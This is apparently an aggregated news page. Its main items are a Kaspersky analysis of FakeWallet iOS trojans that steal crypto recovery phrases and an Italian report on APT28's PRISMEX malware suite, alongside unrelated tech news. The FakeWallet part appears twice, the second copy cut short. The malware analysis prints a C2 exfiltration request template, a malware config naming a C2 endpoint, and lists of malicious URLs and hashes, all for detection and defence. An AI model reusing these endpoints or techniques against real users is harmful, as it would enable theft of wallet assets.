The global AI race deconstructed


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The global AI race deconstructed
IT'S MONDAY, AND THIS IS DIGITAL POLITICS. I'm Mark Scott, and with all that's going on with the United States government and Anthropic, this interview of Dario Amodei in the Financial Times' 'Lunch with the FT' series is worth a read.

— Here are the four policy trends from Stanford's latest annual analysis of the global artificial intelligence industry.

— The European Union has a new online safety strategy: kids and online marketplaces.

— New York, California and Texas are leading the charge among US states to pass digital rules.

Let's get started:



digitalpolitics.co/newsletter0…

Fluidic Contact Lens Treats Glaucoma


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We’ve always been interested in fluidic computers, a technique that uses moving fluids to perform logic operations. Now, Spectrum reports that researchers have developed an electronics-free contact lens that monitors glaucoma and can even help treat it.

The lens is made entirely of polymer and features a microfluidic sensor that can monitor eye pressure in real time. It also has pressure-activated drug reservoirs that dispense medicine when pressure exceeds a fixed threshold. You can see Spectrum’s video on the device below.

This isn’t the first attempt to treat glaucoma, which affects more than 80 million people, with a contact lens. In 2016, Triggerfish took a similar approach, but it used electronic components in the lens, which poses problems for manufacturing and for people wearing them.

Naturally, the device depends on 3D printed molds to create channels and reservoirs in the lens. A special silk sponge in the reservoirs can absorb up to 2,700 times its weight. One sponge holds a red fluid that is forced by pressure into a serpentine microchannel. A phone app uses a neural network to convert the image of the red fluid into a pressure reading.

Two more sponges hold drugs that release at a given pressure determined by the width of the associated microchannel. This allows the possibility of increasing the dose at a higher pressure or even delivering two drugs at different pressure levels.

It is fairly hard to hack your own contact lenses, although we’ve seen it at least once. But smart contacts are not as rare as you might think.

youtube.com/embed/i9fpEnzbt54?…


hackaday.com/2026/04/20/fluidi…

FakeWallet crypto stealer spreading through iOS apps in the App Store


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In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background


This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for "Ledger Wallet" (formerly Ledger Live)
App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app
Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

  • MetaMask
  • Ledger
  • Trust Wallet
  • Coinbase
  • TokenPocket
  • imToken
  • Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process
An infected wallet and its corresponding profile used for the installation process

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

  • The extracted mnemonics are stringed together.
  • This string is encrypted using RSA with the PKCS #1 scheme.
  • The encrypted data is then encoded into Base64.
  • Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

  • Resolve symbols dataInit or processX0Parameter from the malicious library
  • Hand over control to these newly discovered functions
  • Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions
The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module


The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

  • The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
    {
    "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
    "code": "10001", // special code "login-url": "hxxps://xxx[.]com",
    "login-code": "88761"
    }
  • Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
  • As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
    • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
    • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.


  • Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics
The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

  • MnemonicVerifyScreen, embedded in PortfolioNavigator
  • PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification
Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

  • verify-wallet-status.json tracks the current status and the timestamp of the last update.
  • verify-wallet-config.json stores the C2 server configuration the malware is currently using.
  • verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function
Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link


During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android
A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims


Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution


According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

  • Some infected apps contained SparkKitty modules alongside the FakeWallet code.
  • The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
  • Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
  • Both campaigns specifically target victims’ cryptocurrency assets.


Conclusion


Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

  • Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
  • Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
  • Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.


Indicators of compromise


Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz


securelist.com/fakewallet-cryp…

#1

Le cyberladies italiane tra talento e disparità


@Informatica (Italy e non Italy)
La terza survey Women for Security delinea un settore ad alta specializzazione ma ancora segnato da forti disparità. Crescono i ruoli apicali e la multidisciplinarità, pur persistendo criticità su retribuzioni e progressione di carriera. Valorizzare le cyberladies è una leva strategica fondamentale per colmare il cyber skill gap

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Fortinet FortiClientEMS Under Active Attack: Critical CVE-2026-35616 (CVSS 9.1) Added to CISA KEV Catalog
#CyberSecurity
securebulletin.com/fortinet-fo…
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BLACKWATER Ransomware Group Debuts with 3.3 TB Heist from Turkey’s Largest Hospital Network
#CyberSecurity
securebulletin.com/blackwater-…
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Vercel Confirms April 2026 Breach: ShinyHunters Accessed Source Code, API Keys, and Employee Data via AI Tool Compromise
#CyberSecurity
securebulletin.com/vercel-conf…
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Third-party AI hack triggers #Vercel breach, internal environments accessed
securityaffairs.com/191031/dat…
#securityaffairs #hacking
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PRISMEX: la suite di cyberspionaggio di APT28 che prende di mira Ucraina e alleati NATO con steganografia e cloud C2
#CyberSecurity
insicurezzadigitale.com/prisme…


PRISMEX: la suite di cyberspionaggio di APT28 che prende di mira Ucraina e alleati NATO con steganografia e cloud C2


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Una suite di malware inedita, battezzata PRISMEX, porta la firma del GRU russo e punta diritto al cuore delle reti militari e governative legate al conflitto in Ucraina. La campagna combina steganografia proprietaria, COM hijacking e abuso di cloud storage cifrato per raggiungere i propri obiettivi restando praticamente invisibile agli strumenti di difesa tradizionali.

APT28 nel 2026: evoluzione di una minaccia permanente


APT28 — tracciato anche come Forest Blizzard, Fancy Bear e Pawn Storm — è l’unità cyber attribuita al GRU, l’intelligence militare russa. Operativo da oltre vent’anni, il gruppo ha all’attivo compromissioni di altissimo profilo: dal Partito Democratico USA nel 2016 al WADA, passando per decine di istituzioni europee e governi NATO. Ciò che distingue APT28 è la capacità di weaponizzare vulnerabilità ancora prima della loro divulgazione pubblica e di costruire toolchain modulari estremamente evasive.

La campagna documentata tra febbraio e aprile 2026 da Trend Micro, Zscaler ThreatLabz e Trellix — denominata Operation Neusploit — rappresenta un ulteriore salto qualitativo in questa direzione. L’analisi delle infrastrutture mostra che i preparativi erano in corso da settembre 2025, con exploitation attiva dal gennaio 2026.

I bersagli: una mappa geopolitica della catena logistica NATO


La selezione dei target riflette la precisa intelligence operativa del GRU. La campagna ha colpito organi esecutivi centrali ucraini, servizi di difesa, protezione civile e servizi idrometeorologici; operatori ferroviari polacchi coinvolti nella logistica degli aiuti militari; settore marittimo e trasportistico in Romania, Slovenia e Turchia; partner della filiera di approvvigionamento di munizioni in Slovacchia e Repubblica Ceca; unità droni nelle regioni di Kyiv e Kharkiv. Il denominatore comune è la catena di supporto alle operazioni militari ucraine — la stessa che il Cremlino ha interesse a monitorare e potenzialmente compromettere.

La catena di attacco: due zero-day, un RTF e un server WebDAV


Il vettore iniziale è uno spear-phishing particolarmente contestualizzato: email con lure tematici su addestramenti militari, allerte meteorologiche o contrabbando di armi — argomenti credibili per i destinatari designati. L’allegato è un documento RTF che sfrutta CVE-2026-21509, una vulnerabilità di bypass delle funzionalità di sicurezza di Microsoft Office.

All’apertura, il sistema vittima viene forzato a connettersi a un server WebDAV controllato dagli attaccanti, da cui viene recuperato automaticamente un file LNK malevolo. Questo sfrutta CVE-2026-21513 per bypassare le protezioni del browser ed eseguire silenziosamente il payload successivo. La tempistica è rivelatrice: l’infrastruttura per CVE-2026-21509 era operativa il 12 gennaio 2026, due settimane prima della divulgazione pubblica del 26 gennaio. La patch per CVE-2026-21513 è arrivata il 10 febbraio, lasciando una finestra di undici giorni da zero-day sfruttabile.

Anatomia di PRISMEX: quattro componenti, un ecosistema invisibile


PRISMEX non è un singolo malware ma una suite modulare di quattro componenti progettate per operare in concerto, ciascuna con un ruolo preciso:

  • PrismexSheet: dropper Excel con macro VBA che estrae payload nascosti nel file tramite steganografia. Mostra un documento decoy convincente (inventari droni, listini prezzi militari) per non destare sospetti e stabilisce persistenza via COM hijacking.
  • PrismexDrop: dropper nativo che prepara l’ambiente per lo sfruttamento successivo utilizzando scheduled task e COM DLL hijacking abbinati al riavvio di explorer.exe per la persistenza tra i riavvii.
  • PrismexLoader: proxy DLL che esegue codice malevolo mascherandosi da libreria legittima. Impiega la tecnica steganografica proprietaria “Bit Plane Round Robin” per estrarre payload nascosti all’interno di immagini apparentemente normali, con esecuzione interamente in memoria per minimizzare le tracce su disco.
  • PrismexStager: implant .NET basato sul framework Covenant, fortemente offuscato con nomi di funzione randomizzati. Comunica con i server C2 abusando di Filen.io, un servizio di cloud storage cifrato legittimo, rendendo il traffico malevolo indistinguibile da normali operazioni cloud.

In alcuni scenari di attacco è stato rilevato anche il deployment di MiniDoor, uno stealer specificamente progettato per l’esfiltrazione di email da Microsoft Outlook — un indicatore diretto del tipo di intelligence ricercata.

Living-off-the-Cloud: Filen.io come infrastruttura C2


L’abuso di Filen.io come canale C2 rappresenta una raffinata applicazione del paradigma Living-off-the-Cloud (LotC). Filen.io offre storage cifrato end-to-end, rendendo l’ispezione del contenuto del traffico particolarmente difficile anche per soluzioni avanzate di network detection. I sistemi di filtraggio basati su reputazione IP o domain non rilevano anomalie poiché il dominio è genuinamente legittimo e ampiamente utilizzato. Questa strategia, già osservata con OneDrive, Google Drive e Dropbox in campagne APT precedenti, viene qui applicata con un servizio meno noto e con cifratura robusta — un ostacolo aggiuntivo per i Blue Team.

Indicatori di compromissione (IOC)

# Domini usati per hosting/delivery degli exploit Office
wellnessmedcare[.]org
wellnesscaremed[.]com
freefoodaid[.]com
longsauce[.]com

# CVE sfruttate nella campagna
CVE-2026-21509 - Microsoft Office Security Feature Bypass
  Divulgazione pubblica: 26 gennaio 2026
  Infrastruttura attaccante attiva dal: 12 gennaio 2026

CVE-2026-21513 - Browser Security Feature Bypass
  Prime sample osservate: 30 gennaio 2026
  Patch Microsoft: 10 febbraio 2026 (finestra 0-day: 11 giorni)

# C2 infrastructure
Filen.io (cloud storage legittimo abusato per C2 cifrato)

# Framework C2 utilizzato
Covenant (Grunt implant) tramite PrismexStager

# Tecniche MITRE ATT&CK
T1566.001 - Spearphishing Attachment
T1221   - Template Injection (RTF)
T1574.001 - COM DLL Hijacking (PrismexDrop, PrismexSheet)
T1027.003 - Steganography: Bit Plane Round Robin (PrismexLoader)
T1053.005 - Scheduled Task/Job: Scheduled Task
T1102.002 - Web Service: Bidirectional Communication (Filen.io C2)
T1218.011 - Signed Binary Proxy Execution (Rundll32)

Consigli pratici per i difensori


La campagna PRISMEX evidenzia quanto i modelli di difesa basati su firme statiche e reputazione siano inadeguati contro attori di questo livello. Per i team di sicurezza che operano in settori ad alto rischio è essenziale: applicare immediatamente le patch CVE-2026-21509 e CVE-2026-21513 se non già fatto; monitorare comportamenti anomali di processi legittimi come explorer.exe, regsvr32 e processi COM; implementare regole di detection per COM hijacking e creazione non autorizzata di scheduled task; bloccare o monitorare il traffico verso servizi di cloud storage non approvati aziendalmente (incluso Filen.io); disabilitare le macro VBA nei documenti Office provenienti da fonti esterne tramite Group Policy o Intune; adottare una postura “assume breach” con hunting proattivo su anomalie comportamentali piuttosto che su indicatori statici.


FakeWallet crypto stealer spreading through iOS apps in the App Store


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In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background>


This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for "Ledger Wallet" (formerly Ledger Live)
App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app
Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

  • MetaMask
  • Ledger
  • Trust Wallet
  • Coinbase
  • TokenPocket
  • imToken
  • Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process
An infected wallet and its corresponding profile used for the installation process

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

  • The extracted mnemonics are stringed together.
  • This string is encrypted using RSA with the PKCS #1 scheme.
  • The encrypted data is then encoded into Base64.
  • Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

  • Resolve symbols dataInit or processX0Parameter from the malicious library
  • Hand over control to these newly discovered functions
  • Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions
The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module


The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

  • The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
    {
    "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
    "code": "10001", // special code "login-url": "hxxps://xxx[.]com",
    "login-code": "88761"
    }
